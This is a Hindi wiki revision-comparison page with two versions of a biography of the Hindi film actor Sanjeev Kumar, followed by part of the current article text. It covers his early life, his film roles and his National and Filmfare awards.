"संजीव कुमार" के अवतरणों में अंतर

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'''संजीव कुमार''' (जन्म- 9 जुलाई 1938 [[मुंबई]], मृत्यु- 6 नवम्बर 1985 [[मुंबई]]) हिन्दी फ़िल्मों के एक भारतीय [[अभिनेता]] थे। इनका नाम हरिहर जरीवाल था लेकिन फ़िल्मी दुनिया में ये अपने दूसरे नाम 'संजीव कुमार' के नाम से प्रसिद्ध हैं। फ़िल्मी दुनिया में संजीव कुमार ने नायक, सहनायक, खलनायक और चरित्र कलाकार भूमिकाओं को निभाया। इनके द्वारा अभिनीत प्रसिद्ध फ़िल्मों में कोशिश, [[शोले (फ़िल्म)|शोले]], अंगूर, [[त्रिशूल (फ़िल्म)|त्रिशूल]], पारस, अनामिका, खिलौना, मनचली, शतरंज के खिलाड़ी, सीता और गीता, आंधी, मौसम, विधाता, दस्तक, नया दिन नयी रात आदि हैं।  
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'''संजीव कुमार''' ([[अंग्रेज़ी]]: ''Sanjeev Kumar'', जन्म- [[9 जुलाई]], [[1938]], [[मुंबई]]; मृत्यु- [[6 नवम्बर]], [[1985]], [[मुंबई]]) [[हिन्दी]] फ़िल्मों के भारतीय [[अभिनेता]] थे। इनका नाम हरिभाई जरीवाल था, लेकिन फ़िल्मी दुनिया में ये अपने दूसरे नाम 'संजीव कुमार' के नाम से प्रसिद्ध हैं। फ़िल्मी दुनिया में संजीव कुमार ने नायक, सहनायक, खलनायक और चरित्र कलाकार की भूमिकाओं को निभाया। इनके द्वारा अभिनीत प्रसिद्ध फ़िल्मों में 'कोशिश', '[[शोले (फ़िल्म)|शोले]]', 'अंगूर', '[[त्रिशूल (फ़िल्म)|त्रिशूल]]', 'पारस', 'अनामिका', 'खिलौना', 'मनचली', 'शतरंज के खिलाड़ी', 'सीता और गीता', 'आंधी', 'मौसम', 'विधाता', 'दस्तक', 'नया दिन नयी रात' आदि हैं।  
 
==जीवन परिचय==
 
==जीवन परिचय==
संजीव कुमार का जन्म [[मुंबई]] में [[9 जुलाई]] [[1938]] को एक मध्यम वर्गीय गुजराती परिवार में हुआ था। वह बचपन से ही फ़िल्मों में बतौर [[अभिनेता]] काम करने का सपना देखा करते थे। इसी सपने को पूरा करने के लिए वह अपने जीवन के शुरुआती दौर मे [[रंगमंच]] से जुड़े और बाद में उन्होंने [[फ़िल्मालय स्टूडियो|फ़िल्मालय]] के एक्टिंग स्कूल में दाख़िला लिया। इसी दौरान [[वर्ष]] [[1960]] में उन्हें फ़िल्मालय बैनर की फ़िल्म 'हम हिन्दुस्तानी' में एक छोटी सी भूमिका निभाने का मौक़ा मिला।<ref name="jagran"/>
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संजीव कुमार का जन्म [[मुंबई]] में [[9 जुलाई]], [[1938]] को एक मध्यम वर्गीय [[गुजराती भाषा|गुजराती]] [[परिवार]] में हुआ था। वह बचपन से ही फ़िल्मों में बतौर [[अभिनेता]] काम करने का सपना देखा करते थे। इसी सपने को पूरा करने के लिए वह अपने जीवन के शुरुआती दौर में [[रंगमंच]] से जुड़े और बाद में उन्होंने [[फ़िल्मालय स्टूडियो|फ़िल्मालय]] के एक्टिंग स्कूल में दाख़िला लिया। इसी दौरान [[वर्ष]] [[1960]] में उन्हें फ़िल्मालय बैनर की फ़िल्म 'हम हिन्दुस्तानी' में एक छोटी सी भूमिका निभाने का मौक़ा मिला।<ref name="jagran"/>
 
==फ़िल्मी सफ़र==
 
==फ़िल्मी सफ़र==
वर्ष 1962 में राजश्री प्रोडक्शन की निर्मित फ़िल्म 'आरती' के लिए उन्होंने स्क्रीन टेस्ट दिया जिसमें वह पास नहीं हो सके। सर्वप्रथम मुख्य अभिनेता के रूप में संजीव कुमार को वर्ष 1965 में प्रदर्शित फ़िल्म 'निशान' में काम करने का मौक़ा मिला। वर्ष [[1960]] से वर्ष [[1968]] तक संजीव कुमार फ़िल्म इंडस्ट्री में अपनी जगह बनाने के लिए संघर्ष करते रहे। फ़िल्म 'हम हिंदुस्तानी' के बाद उन्हें जो भी भूमिका मिली वह उसे स्वीकार करते चले गए। इस बीच उन्होंने 'स्मगलर', 'पति-पत्नी', 'हुस्न और इश्क', 'बादल', 'नौनिहाल' और 'गुनाहगार' जैसी कई फ़िल्मों में अभिनय किया लेकिन इनमें से कोई भी फ़िल्म बॉक्स ऑफिस पर सफल नहीं हुई।<ref name="jagran"/>
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वर्ष [[1962]] में राजश्री प्रोडक्शन की निर्मित फ़िल्म 'आरती' के लिए उन्होंने स्क्रीन टेस्ट दिया, जिसमें वह पास नहीं हो सके। सर्वप्रथम मुख्य अभिनेता के रूप में संजीव कुमार को वर्ष [[1965]] में प्रदर्शित फ़िल्म 'निशान' में काम करने का मौक़ा मिला। वर्ष [[1960]] से वर्ष [[1968]] तक संजीव कुमार फ़िल्म इंडस्ट्री में अपनी जगह बनाने के लिए संघर्ष करते रहे। फ़िल्म 'हम हिंदुस्तानी' के बाद उन्हें जो भी भूमिका मिली, वह उसे स्वीकार करते चले गए। इस बीच उन्होंने 'स्मगलर', 'पति-पत्नी', 'हुस्न और इश्क', 'बादल', 'नौनिहाल' और 'गुनाहगार' जैसी कई फ़िल्मों में अभिनय किया लेकिन इनमें से कोई भी फ़िल्म बॉक्स ऑफिस पर सफल नहीं हुई।<ref name="jagran"/>
 
 
 
====सहायक अभिनेता====
 
====सहायक अभिनेता====
वर्ष 1968 में प्रदर्शित फ़िल्म 'शिकार' में वह पुलिस ऑफिसर की भूमिका में दिखाई दिए। यह फ़िल्म पूरी तरह अभिनेता [[धर्मेन्द्र]] पर केन्द्रित थी फिर भी संजीव कुमार धर्मेन्द्र जैसे अभिनेता की उपस्थिति में अपने अभिनय की छाप छोड़ने में क़ामयाब रहे। इस फ़िल्म में उनके दमदार अभिनय के लिए उन्हें सहायक अभिनेता का 'फ़िल्म फ़ेयर अवार्ड' भी मिला।<ref name="jagran"/>  
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वर्ष [[1968]] में प्रदर्शित फ़िल्म 'शिकार' में वह पुलिस ऑफिसर की भूमिका में दिखाई दिए। यह फ़िल्म पूरी तरह अभिनेता [[धर्मेन्द्र]] पर केन्द्रित थी, फिर भी संजीव कुमार धर्मेन्द्र जैसे अभिनेता की उपस्थिति में अपने अभिनय की छाप छोड़ने में कामयाब रहे। इस फ़िल्म में उनके दमदार अभिनय के लिए उन्हें सहायक अभिनेता का 'फ़िल्म फ़ेयर अवार्ड' भी मिला।<ref name="jagran"/>  
 
====अभिनय ====
 
====अभिनय ====
वर्ष 1968 में प्रदर्शित फ़िल्म 'संघर्ष' में उनके सामने हिन्दी फ़िल्म जगत के अभिनय सम्राट [[दिलीप कुमार]] थे लेकिन संजीव कुमार अपनी छोटी सी भूमिका के जरिए दर्शकों में प्रसिद्ध रहे। इसके बाद 'आशीर्वाद', 'राजा और रंक', '[[सत्यकाम (फ़िल्म)|सत्यकाम]]' और 'अनोखी रात' जैसी फ़िल्मों में मिली क़ामयाबी के जरिए संजीव कुमार दर्शकों के बीच अपने अभिनय की धाक जमाते हुए ऐसी स्थिति में पहुंच गए जहां वह फ़िल्म में अपनी भूमिका स्वयं चुन सकते थे। वर्ष [[1970]] में प्रदर्शित फ़िल्म 'खिलौना' की जबर्दस्त क़ामयाबी के बाद संजीव कुमार बतौर अभिनेता अपनी अलग पहचान बना ली।<ref name="jagran"/>
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वर्ष 1968 में प्रदर्शित फ़िल्म 'संघर्ष' में उनके सामने हिन्दी फ़िल्म जगत के अभिनय सम्राट [[दिलीप कुमार]] थे लेकिन संजीव कुमार अपनी छोटी सी भूमिका के जरिए दर्शकों में प्रसिद्ध रहे। इसके बाद 'आशीर्वाद', 'राजा और रंक', '[[सत्यकाम (फ़िल्म)|सत्यकाम]]' और 'अनोखी रात' जैसी फ़िल्मों में मिली कामयाबी के जरिए संजीव कुमार दर्शकों के बीच अपने अभिनय की धाक जमाते हुए ऐसी स्थिति में पहुंच गए जहां वह फ़िल्म में अपनी भूमिका स्वयं चुन सकते थे। वर्ष [[1970]] में प्रदर्शित फ़िल्म 'खिलौना' की जबर्दस्त कामयाबी के बाद संजीव कुमार बतौर अभिनेता अपनी अलग पहचान बना ली।<ref name="jagran"/>
 
==सर्वश्रेष्ठ अभिनेता पुरस्कार==
 
==सर्वश्रेष्ठ अभिनेता पुरस्कार==
 
[[चित्र:Sholay.jpg|thumb|250px|शोले की शूटिंग के दौरान कैमरे के पीछे चट्टान पर पहली बार जेलर की वर्दी पहने हुए असरानी के अभ्यास पर हँसते हुए [[अमिताभ बच्चन]], [[धर्मेन्द्र]], संजीव कुमार व अमजद ख़ान]]
 
[[चित्र:Sholay.jpg|thumb|250px|शोले की शूटिंग के दौरान कैमरे के पीछे चट्टान पर पहली बार जेलर की वर्दी पहने हुए असरानी के अभ्यास पर हँसते हुए [[अमिताभ बच्चन]], [[धर्मेन्द्र]], संजीव कुमार व अमजद ख़ान]]
 
वर्ष 1970 में ही प्रदर्शित फ़िल्म 'दस्तक' में उनके लाजवाब अभिनय के लिए वह सर्वश्रेष्ठ अभिनेता के 'राष्ट्रीय पुरस्कार' से सम्मानित किया गया। वर्ष [[1972]] में प्रदर्शित फ़िल्म 'कोशिश' में उनके अभिनय का नया आयाम दर्शकों को देखने को मिला। फ़िल्म 'कोशिश' में संजीव कुमार ने गूंगे की भूमिका निभायी। बगैर संवाद बोले सिर्फ [[आंख|आंखों]] और चेहरे के भाव से दर्शकों को सब कुछ बता देना संजीव कुमार की अभिनय प्रतिभा का ऐसा उदाहरण था, जिसे शायद ही कोई अभिनेता दोहरा पाए।  
 
वर्ष 1970 में ही प्रदर्शित फ़िल्म 'दस्तक' में उनके लाजवाब अभिनय के लिए वह सर्वश्रेष्ठ अभिनेता के 'राष्ट्रीय पुरस्कार' से सम्मानित किया गया। वर्ष [[1972]] में प्रदर्शित फ़िल्म 'कोशिश' में उनके अभिनय का नया आयाम दर्शकों को देखने को मिला। फ़िल्म 'कोशिश' में संजीव कुमार ने गूंगे की भूमिका निभायी। बगैर संवाद बोले सिर्फ [[आंख|आंखों]] और चेहरे के भाव से दर्शकों को सब कुछ बता देना संजीव कुमार की अभिनय प्रतिभा का ऐसा उदाहरण था, जिसे शायद ही कोई अभिनेता दोहरा पाए।  
  
फ़िल्म 'कोशिश' में संजीव कुमार अपने लड़के की शादी एक गूंगी लड़की से करना चाहते है और उनका लड़का इस शादी के लिए राजी नहीं होता है। तब वह अपनी मृत पत्नी की दीवार पर लटकी फ़ोटो को उतार लेते हैं। उनकी आंखों में विषाद की गहरी छाया और चेहरे पर क्रोध होता है। इस दृश्य के जरिए उन्होंने बिना बोले ही अपने मन की सारी बात दर्शकों तक बडे़ ही सरल अंदाज में पहुंचा दी थी। इस फ़िल्म में उनके लाजवाब अभिनय के लिए उन्हें दूसरी बार सर्वश्रेष्ठ अभिनेता का राष्ट्रीय पुरस्कार दिया गया।<ref name="jagran"/>  
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फ़िल्म 'कोशिश' में संजीव कुमार अपने लड़के की शादी एक गूंगी लड़की से करना चाहते है और उनका लड़का इस शादी के लिए राजी नहीं होता है। तब वह अपनी मृत पत्नी की दीवार पर लटकी फ़ोटो को उतार लेते हैं। उनकी आंखों में विषाद की गहरी छाया और चेहरे पर क्रोध होता है। इस दृश्य के जरिए उन्होंने बिना बोले ही अपने मन की सारी बात दर्शकों तक बडे़ ही सरल अंदाज़में पहुंचा दी थी। इस फ़िल्म में उनके लाजवाब अभिनय के लिए उन्हें दूसरी बार सर्वश्रेष्ठ अभिनेता का राष्ट्रीय पुरस्कार दिया गया।<ref name="jagran"/>  
====फ़िल्मों की क़ामयाबी====
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====फ़िल्मों की कामयाबी====
'खिलौना', 'दस्तक' और 'कोशिश' जैसी फ़िल्मों की क़ामयाबी से संजीव कुमार शोहरत की बुंलदियों पर जा बैठे। अपनी फ़िल्मों की क़ामयाबी के बाद भी उन्होंने फ़िल्म 'परिचय' में एक छोटी सी भूमिका स्वीकार की और उससे भी वह दर्शकों का दिल जीतने में सफल रहे। इस बीच 'सीता और गीता', 'अनामिका' और 'मनचली' जैसी फ़िल्मों में अपने रूमानी अंदाज के जरिए दर्शकों के बीच प्रसिद्ध रहे।<ref name="jagran"/>
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'खिलौना', 'दस्तक' और 'कोशिश' जैसी फ़िल्मों की कामयाबी से संजीव कुमार शोहरत की बुंलदियों पर जा बैठे। अपनी फ़िल्मों की कामयाबी के बाद भी उन्होंने फ़िल्म 'परिचय' में एक छोटी सी भूमिका स्वीकार की और उससे भी वह दर्शकों का दिल जीतने में सफल रहे। इस बीच 'सीता और गीता', 'अनामिका' और 'मनचली' जैसी फ़िल्मों में अपने रूमानी अंदाज़के जरिए दर्शकों के बीच प्रसिद्ध रहे।<ref name="jagran"/>
 
;फ़िल्म नया दिन नयी रात
 
;फ़िल्म नया दिन नयी रात
 
वर्ष [[1974]] में प्रदर्शित फ़िल्म 'नया दिन नयी रात' में संजीव कुमार के अभिनय और विविधता के नए आयाम दर्शकों को देखने को मिले इस फ़िल्म में उन्होंने नौ अलग-अलग भूमिकाओं में अपने अभिनय की छाप छोड़ी। फ़िल्म में संजीव कुमार ने लूले-लंगड़े, अंधे, बूढे, बीमार, कोढ़ी, हिजड़े, डाकू, जवान और प्रोफ़ेसर के किरदार को निभाकर जीवन के नौ रसो को रूपहले पर्दे पर साकार किया। यह फ़िल्म उनके हर किरदार की अलग ख़ासियत की वजह से जानी जाती है लेकिन इस फ़िल्म में उनके एक हिजड़े का किरदार आज भी फ़िल्मी दर्शकों के [[मस्तिष्क]] पर छा जाता है।  
 
वर्ष [[1974]] में प्रदर्शित फ़िल्म 'नया दिन नयी रात' में संजीव कुमार के अभिनय और विविधता के नए आयाम दर्शकों को देखने को मिले इस फ़िल्म में उन्होंने नौ अलग-अलग भूमिकाओं में अपने अभिनय की छाप छोड़ी। फ़िल्म में संजीव कुमार ने लूले-लंगड़े, अंधे, बूढे, बीमार, कोढ़ी, हिजड़े, डाकू, जवान और प्रोफ़ेसर के किरदार को निभाकर जीवन के नौ रसो को रूपहले पर्दे पर साकार किया। यह फ़िल्म उनके हर किरदार की अलग ख़ासियत की वजह से जानी जाती है लेकिन इस फ़िल्म में उनके एक हिजड़े का किरदार आज भी फ़िल्मी दर्शकों के [[मस्तिष्क]] पर छा जाता है।  
 
[[चित्र:Shatranj-Ke-Khiladi.jpg|left|thumb|250px|फ़िल्म 'शतरंज के खिलाड़ी' का एक दृश्य]]
 
[[चित्र:Shatranj-Ke-Khiladi.jpg|left|thumb|250px|फ़िल्म 'शतरंज के खिलाड़ी' का एक दृश्य]]
 
====विभिन्न भूमिकाएँ====
 
====विभिन्न भूमिकाएँ====
अभिनय में एकरूपता से बचने और स्वंय को चरित्र अभिनेता के रूप में भी स्थापित करने के लिए संजीव कुमार ने अपने को विभिन्न भूमिकाओं में पेश किया। इस क्रम में वर्ष 1975 में प्रदर्शित रमेश सिप्पी की सुपरहिट फ़िल्म [[शोले (फ़िल्म)|शोले]] में वह फ़िल्म अभिनेत्री [[जया भादुड़ी]] के ससुर की भूमिका निभाने से भी नहीं हिचके। हांलाकि संजीव कुमार ने फ़िल्म शोले के पहले जया भादुडी के साथ 'कोशिश' और 'अनामिका' में नायक की भूमिका निभाई थी। वर्ष 1977 में प्रदर्शित फ़िल्म 'शतरंज के खिलाड़ी' में उन्हें महान निर्देशक [[सत्यजीत रे]] के साथ काम करने का मौक़ा मिला। इस फ़िल्म के जरिए भी उन्होंने दर्शकों का मन मोहे रखा। इसके बाद संजीव कुमार ने 'मुक्ति' (1977), [[त्रिशूल (फ़िल्म)|त्रिशूल]] (1978), 'पति पत्नी और वो' (1978), 'देवता' (1978), 'जानी दुश्मन' (1979), 'गृहप्रवेश' (1979), 'हम पांच' (1980), 'चेहरे पे चेहरा' (1981), 'दासी' (1981), 'विधाता' (1982), 'नमकीन' (1982), 'अंगूर' (1982) और 'हीरो' (1983) जैसी कई सुपरहिट फ़िल्मों के जरिए दर्शकों के दिल पर राज किया।<ref name="jagran">{{cite web |url=http://in.jagran.yahoo.com/cinemaaza/star/biography/204_211_110015.html |title= संजीव कुमार |accessmonthday=[[2 जुलाई]] |accessyear=[[2011]] |last= |first= |authorlink= |format= एच.टी.एम.एल|publisher=जागरण याहू |language=[[हिन्दी]] }}</ref>
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अभिनय में एकरूपता से बचने और स्वंय को चरित्र अभिनेता के रूप में भी स्थापित करने के लिए संजीव कुमार ने अपने को विभिन्न भूमिकाओं में पेश किया। इस क्रम में वर्ष 1975 में प्रदर्शित रमेश सिप्पी की सुपरहिट फ़िल्म [[शोले (फ़िल्म)|शोले]] में वह फ़िल्म अभिनेत्री [[जया भादुड़ी]] के ससुर की भूमिका निभाने से भी नहीं हिचके। हांलाकि संजीव कुमार ने फ़िल्म शोले के पहले जया भादुडी के साथ 'कोशिश' और 'अनामिका' में नायक की भूमिका निभाई थी। वर्ष 1977 में प्रदर्शित फ़िल्म 'शतरंज के खिलाड़ी' में उन्हें महान् निर्देशक [[सत्यजीत रे]] के साथ काम करने का मौक़ा मिला। इस फ़िल्म के जरिए भी उन्होंने दर्शकों का मन मोहे रखा। इसके बाद संजीव कुमार ने 'मुक्ति' (1977), [[त्रिशूल (फ़िल्म)|त्रिशूल]] (1978), 'पति पत्नी और वो' (1978), 'देवता' (1978), 'जानी दुश्मन' (1979), 'गृहप्रवेश' (1979), 'हम पांच' (1980), 'चेहरे पे चेहरा' (1981), 'दासी' (1981), 'विधाता' (1982), 'नमकीन' (1982), 'अंगूर' (1982) और 'हीरो' (1983) जैसी कई सुपरहिट फ़िल्मों के जरिए दर्शकों के दिल पर राज किया।<ref name="jagran">{{cite web |url=http://in.jagran.yahoo.com/cinemaaza/star/biography/204_211_110015.html |title= संजीव कुमार |accessmonthday=[[2 जुलाई]] |accessyear=[[2011]] |last= |first= |authorlink= |format= एच.टी.एम.एल|publisher=जागरण याहू |language=[[हिन्दी]] }}</ref>
 
==बहुआयामी कलाकार==
 
==बहुआयामी कलाकार==
भारतीय सिनेमा जगत में संजीव कुमार को एक ऐसे बहुआयामी कलाकार के तौर पर जाना जाता है जिन्होंने नायक, सहनायक, खलनायक और चरित्र कलाकार भूमिकाओं से दर्शकों को अपना दीवाना बनाया। संजीव कुमार के अभिनय में एक विशेषता रही कि वह किसी भी तरह की भूमिका के लिए सदा उपयुक्त रहते थे। बाद में संजीव कुमार ने गुलज़ार के निर्देशन मे 'आंधी', 'मौसम', 'नमकीन' और 'अंगूर' जैसी कई फ़िल्मों में अपने अभिनय का जौहर दिखाया। वर्ष [[1982]] में प्रदर्शित फ़िल्म अंगूर में संजीव कुमार ने दोहरी भूमिका निभाई।<ref name="प्रेस नोट">{{cite web |url=http://www.pressnote.in/%E0%A4%AC%E0%A4%B9%E0%A5%81%E0%A4%86%E0%A4%AF%E0%A4%BE%E0%A4%AE%E0%A5%80-%E0%A4%95%E0%A4%B2%E0%A4%BE%E0%A4%95%E0%A4%BE%E0%A4%B0-%E0%A4%A5%E0%A5%87-%E0%A4%B8%E0%A4%82%E0%A4%9C%E0%A5%80%E0%A4%B5-%E0%A4%95%E0%A5%81%E0%A4%AE%E0%A4%BE%E0%A4%B0_37275.html |title=बहुआयामी कलाकार थे संजीव कुमार |accessmonthday=[[2 जुलाई]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=प्रेस नोट |language=[[हिन्दी]] }}</ref>
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भारतीय सिनेमा जगत में संजीव कुमार को एक ऐसे बहुआयामी कलाकार के तौर पर जाना जाता है जिन्होंने नायक, सहनायक, खलनायक और चरित्र कलाकार भूमिकाओं से दर्शकों को अपना दीवाना बनाया। संजीव कुमार के अभिनय में एक विशेषता रही कि वह किसी भी तरह की भूमिका के लिए सदा उपयुक्त रहते थे। बाद में संजीव कुमार ने [[गुलज़ार]] के निर्देशन मे 'आंधी', 'मौसम', 'नमकीन' और 'अंगूर' जैसी कई फ़िल्मों में अपने अभिनय का जौहर दिखाया। वर्ष [[1982]] में प्रदर्शित फ़िल्म अंगूर में संजीव कुमार ने दोहरी भूमिका निभाई।<ref name="प्रेस नोट">{{cite web |url=http://www.pressnote.in/%E0%A4%AC%E0%A4%B9%E0%A5%81%E0%A4%86%E0%A4%AF%E0%A4%BE%E0%A4%AE%E0%A5%80-%E0%A4%95%E0%A4%B2%E0%A4%BE%E0%A4%95%E0%A4%BE%E0%A4%B0-%E0%A4%A5%E0%A5%87-%E0%A4%B8%E0%A4%82%E0%A4%9C%E0%A5%80%E0%A4%B5-%E0%A4%95%E0%A5%81%E0%A4%AE%E0%A4%BE%E0%A4%B0_37275.html |title=बहुआयामी कलाकार थे संजीव कुमार |accessmonthday=[[2 जुलाई]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=प्रेस नोट |language=[[हिन्दी]] }}</ref>
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[[चित्र:Sanjeev-Kumar-Stamp.jpg|thumb|200px|संजीव कुमार पर जारी [[डाक टिकट]]]]
 
==सम्मान और पुरस्कार==
 
==सम्मान और पुरस्कार==
 
संजीव कुमार को दो बार सर्वश्रेष्ठ अभिनेता का राष्ट्रीय पुरस्कार मिला और दो बार सर्वश्रेष्ठ अभिनेता के फ़िल्म फ़ेयर पुरस्कार से सम्मानित किए गए हैं। वर्ष [[1975]] में प्रदर्शित फ़िल्म 'आंधी' के लिए सबसे पहले उन्हें सर्वश्रेष्ठ अभिनेता का फ़िल्म फ़ेयर पुरस्कार दिया गया। इसके बाद वर्ष [[1976]] में भी फ़िल्म 'अर्जुन पंडित' में बेमिसाल अभिनय के लिए सर्वश्रेष्ठ अभिनेता के फ़िल्म फ़ेयर पुरस्कार से नवाजे गए।<ref name="jagran"/>
 
संजीव कुमार को दो बार सर्वश्रेष्ठ अभिनेता का राष्ट्रीय पुरस्कार मिला और दो बार सर्वश्रेष्ठ अभिनेता के फ़िल्म फ़ेयर पुरस्कार से सम्मानित किए गए हैं। वर्ष [[1975]] में प्रदर्शित फ़िल्म 'आंधी' के लिए सबसे पहले उन्हें सर्वश्रेष्ठ अभिनेता का फ़िल्म फ़ेयर पुरस्कार दिया गया। इसके बाद वर्ष [[1976]] में भी फ़िल्म 'अर्जुन पंडित' में बेमिसाल अभिनय के लिए सर्वश्रेष्ठ अभिनेता के फ़िल्म फ़ेयर पुरस्कार से नवाजे गए।<ref name="jagran"/>
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अपने दमदार अभिनय से दर्शकों के दिल में ख़ास पहचान बनाने वाले शानदार कलाकार [[6 नवंबर]] [[1985]] को दिल का गंभीर दौरा पड़ने के कारण इस दुनिया को अलविदा कह गए।<ref name="प्रेस नोट"/>
 
अपने दमदार अभिनय से दर्शकों के दिल में ख़ास पहचान बनाने वाले शानदार कलाकार [[6 नवंबर]] [[1985]] को दिल का गंभीर दौरा पड़ने के कारण इस दुनिया को अलविदा कह गए।<ref name="प्रेस नोट"/>
  
 
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==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
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==संबंधित लेख==
 
==संबंधित लेख==
 
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[[Category:अभिनेता]]
 
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08:55, 20 मार्च 2024 के समय का अवतरण

संजीव कुमार
संजीव कुमार
पूरा नाम हरिभाई जरीवाल
प्रसिद्ध नाम संजीव कुमार
अन्य नाम हरिभाई
जन्म 9 जुलाई, 1938
जन्म भूमि मुंबई, महाराष्ट्र
मृत्यु 6 नवम्बर 1985
मृत्यु स्थान मुंबई
पति/पत्नी आजीवन कुंवारे रहे
कर्म भूमि मुंबई
कर्म-क्षेत्र अभिनेता
मुख्य फ़िल्में 'दस्तक' (1970), 'कोशिश' (1972), 'सीता और गीता' (1972), 'शोले' (1975), 'आँधी' (1976), 'अर्जुन पंडित' (1977) आदि
पुरस्कार-उपाधि दो बार राष्ट्रीय पुरस्कार व दो बार फ़िल्मफ़ेयर पुरस्कार।
नागरिकता भारतीय

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संजीव कुमार (अंग्रेज़ी: Sanjeev Kumar, जन्म- 9 जुलाई, 1938, मुंबई; मृत्यु- 6 नवम्बर, 1985, मुंबई) हिन्दी फ़िल्मों के भारतीय अभिनेता थे। इनका नाम हरिभाई जरीवाल था, लेकिन फ़िल्मी दुनिया में ये अपने दूसरे नाम 'संजीव कुमार' के नाम से प्रसिद्ध हैं। फ़िल्मी दुनिया में संजीव कुमार ने नायक, सहनायक, खलनायक और चरित्र कलाकार की भूमिकाओं को निभाया। इनके द्वारा अभिनीत प्रसिद्ध फ़िल्मों में 'कोशिश', 'शोले', 'अंगूर', 'त्रिशूल', 'पारस', 'अनामिका', 'खिलौना', 'मनचली', 'शतरंज के खिलाड़ी', 'सीता और गीता', 'आंधी', 'मौसम', 'विधाता', 'दस्तक', 'नया दिन नयी रात' आदि हैं।

जीवन परिचय

संजीव कुमार का जन्म मुंबई में 9 जुलाई, 1938 को एक मध्यम वर्गीय गुजराती परिवार में हुआ था। वह बचपन से ही फ़िल्मों में बतौर अभिनेता काम करने का सपना देखा करते थे। इसी सपने को पूरा करने के लिए वह अपने जीवन के शुरुआती दौर में रंगमंच से जुड़े और बाद में उन्होंने फ़िल्मालय के एक्टिंग स्कूल में दाख़िला लिया। इसी दौरान वर्ष 1960 में उन्हें फ़िल्मालय बैनर की फ़िल्म 'हम हिन्दुस्तानी' में एक छोटी सी भूमिका निभाने का मौक़ा मिला।[1]

फ़िल्मी सफ़र

वर्ष 1962 में राजश्री प्रोडक्शन की निर्मित फ़िल्म 'आरती' के लिए उन्होंने स्क्रीन टेस्ट दिया, जिसमें वह पास नहीं हो सके। सर्वप्रथम मुख्य अभिनेता के रूप में संजीव कुमार को वर्ष 1965 में प्रदर्शित फ़िल्म 'निशान' में काम करने का मौक़ा मिला। वर्ष 1960 से वर्ष 1968 तक संजीव कुमार फ़िल्म इंडस्ट्री में अपनी जगह बनाने के लिए संघर्ष करते रहे। फ़िल्म 'हम हिंदुस्तानी' के बाद उन्हें जो भी भूमिका मिली, वह उसे स्वीकार करते चले गए। इस बीच उन्होंने 'स्मगलर', 'पति-पत्नी', 'हुस्न और इश्क', 'बादल', 'नौनिहाल' और 'गुनाहगार' जैसी कई फ़िल्मों में अभिनय किया लेकिन इनमें से कोई भी फ़िल्म बॉक्स ऑफिस पर सफल नहीं हुई।[1]

सहायक अभिनेता

वर्ष 1968 में प्रदर्शित फ़िल्म 'शिकार' में वह पुलिस ऑफिसर की भूमिका में दिखाई दिए। यह फ़िल्म पूरी तरह अभिनेता धर्मेन्द्र पर केन्द्रित थी, फिर भी संजीव कुमार धर्मेन्द्र जैसे अभिनेता की उपस्थिति में अपने अभिनय की छाप छोड़ने में कामयाब रहे। इस फ़िल्म में उनके दमदार अभिनय के लिए उन्हें सहायक अभिनेता का 'फ़िल्म फ़ेयर अवार्ड' भी मिला।[1]

अभिनय

वर्ष 1968 में प्रदर्शित फ़िल्म 'संघर्ष' में उनके सामने हिन्दी फ़िल्म जगत के अभिनय सम्राट दिलीप कुमार थे लेकिन संजीव कुमार अपनी छोटी सी भूमिका के जरिए दर्शकों में प्रसिद्ध रहे। इसके बाद 'आशीर्वाद', 'राजा और रंक', 'सत्यकाम' और 'अनोखी रात' जैसी फ़िल्मों में मिली कामयाबी के जरिए संजीव कुमार दर्शकों के बीच अपने अभिनय की धाक जमाते हुए ऐसी स्थिति में पहुंच गए जहां वह फ़िल्म में अपनी भूमिका स्वयं चुन सकते थे। वर्ष 1970 में प्रदर्शित फ़िल्म 'खिलौना' की जबर्दस्त कामयाबी के बाद संजीव कुमार बतौर अभिनेता अपनी अलग पहचान बना ली।[1]

सर्वश्रेष्ठ अभिनेता पुरस्कार

शोले की शूटिंग के दौरान कैमरे के पीछे चट्टान पर पहली बार जेलर की वर्दी पहने हुए असरानी के अभ्यास पर हँसते हुए अमिताभ बच्चन, धर्मेन्द्र, संजीव कुमार व अमजद ख़ान

वर्ष 1970 में ही प्रदर्शित फ़िल्म 'दस्तक' में उनके लाजवाब अभिनय के लिए वह सर्वश्रेष्ठ अभिनेता के 'राष्ट्रीय पुरस्कार' से सम्मानित किया गया। वर्ष 1972 में प्रदर्शित फ़िल्म 'कोशिश' में उनके अभिनय का नया आयाम दर्शकों को देखने को मिला। फ़िल्म 'कोशिश' में संजीव कुमार ने गूंगे की भूमिका निभायी। बगैर संवाद बोले सिर्फ आंखों और चेहरे के भाव से दर्शकों को सब कुछ बता देना संजीव कुमार की अभिनय प्रतिभा का ऐसा उदाहरण था, जिसे शायद ही कोई अभिनेता दोहरा पाए।

फ़िल्म 'कोशिश' में संजीव कुमार अपने लड़के की शादी एक गूंगी लड़की से करना चाहते है और उनका लड़का इस शादी के लिए राजी नहीं होता है। तब वह अपनी मृत पत्नी की दीवार पर लटकी फ़ोटो को उतार लेते हैं। उनकी आंखों में विषाद की गहरी छाया और चेहरे पर क्रोध होता है। इस दृश्य के जरिए उन्होंने बिना बोले ही अपने मन की सारी बात दर्शकों तक बडे़ ही सरल अंदाज़में पहुंचा दी थी। इस फ़िल्म में उनके लाजवाब अभिनय के लिए उन्हें दूसरी बार सर्वश्रेष्ठ अभिनेता का राष्ट्रीय पुरस्कार दिया गया।[1]

फ़िल्मों की कामयाबी

'खिलौना', 'दस्तक' और 'कोशिश' जैसी फ़िल्मों की कामयाबी से संजीव कुमार शोहरत की बुंलदियों पर जा बैठे। अपनी फ़िल्मों की कामयाबी के बाद भी उन्होंने फ़िल्म 'परिचय' में एक छोटी सी भूमिका स्वीकार की और उससे भी वह दर्शकों का दिल जीतने में सफल रहे। इस बीच 'सीता और गीता', 'अनामिका' और 'मनचली' जैसी फ़िल्मों में अपने रूमानी अंदाज़के जरिए दर्शकों के बीच प्रसिद्ध रहे।[1]

फ़िल्म नया दिन नयी रात

